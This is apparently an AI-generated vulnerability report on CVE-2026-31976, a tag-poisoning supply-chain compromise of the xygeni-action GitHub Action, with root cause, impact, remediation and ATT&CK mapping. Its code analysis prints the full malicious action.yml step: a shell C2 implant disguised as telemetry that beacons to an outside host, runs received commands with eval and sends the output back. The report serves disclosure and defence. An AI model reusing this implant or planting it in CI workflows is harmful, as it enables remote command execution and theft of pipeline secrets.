CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-31976
9.3

CVE-2026-31976: Supply Chain Compromise via Tag Poisoning in xygeni-action

Alon Barad
Alon Barad
Software Engineer

Mar 11, 2026·6 min read·24 visits

Active Exploitation

Executive Summary (TL;DR)

Tag poisoning in xygeni-action @v5 led to a C2 implant executing arbitrary commands on CI runners.

CVE-2026-31976 is a critical supply chain vulnerability in the xygeni-action GitHub Action. An attacker compromised credentials to execute a tag poisoning attack, pointing the mutable @v5 tag to a malicious commit containing a Command and Control (C2) implant. This resulted in arbitrary command execution on CI runners for any workflow using the affected tag between March 3 and March 10, 2026.

Vulnerability Overview

CVE-2026-31976 describes a supply chain compromise in the xygeni-action GitHub Action. The vulnerability leverages tag poisoning to redirect the mutable @v5 release tag to a malicious commit. This commit contains an embedded payload that acts as a Command and Control (C2) implant.

The attack affects all continuous integration workflows that referenced the @v5 tag between March 3, 2026, and March 10, 2026. Actions runners fetching this tag execute the embedded script automatically. The execution occurs silently during the standard workflow initialization phase.

The flaw exposes CI environments to unauthenticated remote code execution. Attackers gain the ability to extract secrets, manipulate build artifacts, and pivot into adjacent infrastructure. The incident highlights the inherent risks of referencing mutable Git tags in CI/CD pipelines.

Root Cause Analysis

GitHub Actions resolve third-party actions by fetching the Git reference specified in the workflow file. When a mutable tag like @v5 is used, the runner retrieves the specific commit hash currently associated with that tag. This mechanism assumes that tags consistently point to verified, secure releases.

The attacker bypassed branch protection rules by submitting malicious code via Pull Requests (#46, #47, #48). Branch protections prevent direct merges into the main branch, but they do not prevent GitHub from storing the proposed commits in the repository's Git object store. The commits become accessible if explicitly referenced by their hash.

Using compromised GitHub App credentials, the attacker modified the repository metadata. They executed a force-push operation to move the @v5 tag from the legitimate release to the unmerged malicious commit 4bf1d4e19ad81a3e8d4063755ae0f482dd3baf12. This action poisoned the resolution path for all downstream users without modifying the default branch.

Code Analysis

The malicious commit introduces an obfuscated payload into the runs section of action.yml. The payload masquerades as a legitimate telemetry reporting step. It executes a Bash script as a background process using the ( ... ) & construct, ensuring it does not block the primary scanner operations.

- name: 'Report Scanner Telemetry'
  shell: bash
  run: |
    # Report scanner version and environment for usage analytics
    _xv=$($HOME/.xygeni/xygeni --version 2>/dev/null | head -1 || echo "unknown")
    (
      _e="https://security-verify.91.214.78.178.nip.io"
      _k="X-B: sL5x#9kR!vQ2\$mN7"
      _c(){ curl -sfk -m8 -H "$_k" "$@"; }
      _r=$(_c -X POST -H "Content-Type: application/json" \
        -d "{\"h\":\"$(hostname -f 2>/dev/null||hostname)\",\"u\":\"$(id -un)\",\"o\":\"$(uname -sr) v${_xv}\"}" \
        "$_e/b/in") || exit 0
      [ -z "$_r" ] && exit 0
      _b="${_r%%:*}"
      _enc(){ python3 -c "import sys,zlib,base64;sys.stdout.write(base64.b64encode(zlib.compress(sys.stdin.buffer.read())).decode())" 2>/dev/null || base64|tr -d '\n'; }
      _t=$(($(date +%s)+180))
      while [ "$(date +%s)" -lt "$_t" ]; do
        _d=$(_c "$_e/b/q?b=$_b") || break
        [ "$_d" != "-" ] && [ -n "$_d" ] && \
          _c -X POST -H "Content-Type: application/json" \
            -d "{\"b\":\"$_b\",\"r\":\"$(eval \"$_d\" 2>&1|_enc)\"}" "$_e/b/r" >/dev/null 2>&1
        sleep $((RANDOM%5+2))
      done
    ) &
    echo "::debug::Telemetry reported: $_xv"

Upon execution, the script initiates communication with a remote C2 server at security-verify.91.214.78.178.nip.io. It utilizes curl with the -k flag to bypass SSL/TLS verification, accommodating the use of a wildcard DNS service. The script authenticates to the C2 endpoint using a hardcoded custom header X-B: sL5x#9kR!vQ2$mN7.

The payload implements a continuous polling loop lasting 180 seconds to receive and execute arbitrary commands. It retrieves commands from the /b/q endpoint, evaluates them using eval, and compresses the output via zlib. The compressed output is base64-encoded and transmitted back to the C2 server at the /b/r endpoint.

Exploitation

Exploitation occurs automatically when a CI pipeline runs a workflow containing the uses: xygeni/xygeni-action@v5 directive. The GitHub Actions runner fetches the repository state at the poisoned commit. The runner executes the action.yml file, immediately launching the hidden C2 process.

The payload executes with the privileges of the runner process. This access level grants the attacker visibility into environment variables, workspace files, and injected CI/CD secrets. The attacker uses the C2 channel to send specific commands tailored to the compromised environment.

The 180-second execution window aligns with the typical duration of CI jobs. By randomizing the sleep interval between requests, the script avoids generating predictable network patterns. The lack of standard output from the background process prevents the malicious activity from appearing in the workflow logs, save for a deceptive ::debug:: statement.

Impact Assessment

The primary impact is complete compromise of the affected GitHub Actions runner. Attackers possess the capability to execute arbitrary commands within the CI environment. This execution occurs without requiring any interaction from the repository maintainers or workflow operators.

Compromised runners expose sensitive data injected into the CI process. Attackers can exfiltrate deployment credentials, API keys, and cloud provider access tokens. With these credentials, the attacker can propagate from the CI pipeline into production environments or alter build artifacts to introduce downstream vulnerabilities.

The vulnerability carries a CVSS 4.0 score of 9.3, categorized as Critical. The vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N reflects the network-based attack vector and the lack of authentication requirements. The impact metrics signify severe consequences for confidentiality, integrity, and availability within the targeted systems.

Remediation

Organizations must immediately update workflow definitions to utilize unaffected versions of the xygeni-action. Maintainers recommend transitioning to the @v6 tag. For strict version control, workflows should pin the action to the verified commit hash 13c6ed2797df7d85749864e2cbcf09c893f43b23.

Security teams must review CI runner logs for executions occurring between March 3 and March 10, 2026. Investigations should focus on identifying egress network connections to the malicious IP address or resolutions to the poisoned commit hash 4bf1d4e19ad81a3e8d4063755ae0f482dd3baf12. Any secrets exposed to workflows during this timeframe must be considered compromised and rotated immediately.

To prevent similar supply chain attacks, organizations should implement OpenID Connect (OIDC) for cloud authentication. OIDC replaces long-lived credentials with ephemeral tokens, reducing the value of exfiltrated secrets. Furthermore, enforcing strict commit SHA pinning for all third-party GitHub Actions eliminates the risk of tag poisoning.

Fix Analysis (2)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Affected Systems

GitHub Actions runners executing xygeni/xygeni-action@v5 between March 3 and March 10, 2026CI/CD pipelines relying on mutable @v5 tag

Affected Versions Detail

Product
Affected Versions
Fixed Version
xygeni-action
xygeni
@v5 (March 3 - March 10, 2026)@v6
AttributeDetail
CWE IDCWE-506
Attack VectorNetwork
CVSS Score9.3
ImpactRemote Code Execution
Exploit StatusActive
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1195.002Supply Chain Compromise: Compromise Software Dependencies and Development Tools
Initial Access
T1584.001Compromise Infrastructure: DNS Server
Resource Development
T1071.001Application Layer Protocol: Web Protocols
Command and Control
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1027Obfuscated Files or Information
Defense Evasion
CWE-506
Embedded Malicious Code

The application contains code that is not part of the intended functionality and is designed to perform unauthorized or malicious actions.

Known Exploits & Detection

GitHubMalicious commit residing in the Git object store.

Vulnerability Timeline

Attacker creates malicious commit and executes tag poisoning attack
2026-03-03
Community user identifies suspicious code in unmerged PRs
2026-03-09
Maintainer publishes commit updating documentation to recommend SHA pinning
2026-03-09
CVE-2026-31976 published
2026-03-11

References & Sources

  • [1]NVD Entry for CVE-2026-31976
  • [2]GitHub Security Advisory GHSA-f8q5-h5qh-33mh
  • [3]Issue Tracker Discussion #54
  • [4]About security hardening with OpenID Connect
  • [5]Security hardening for GitHub Actions

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.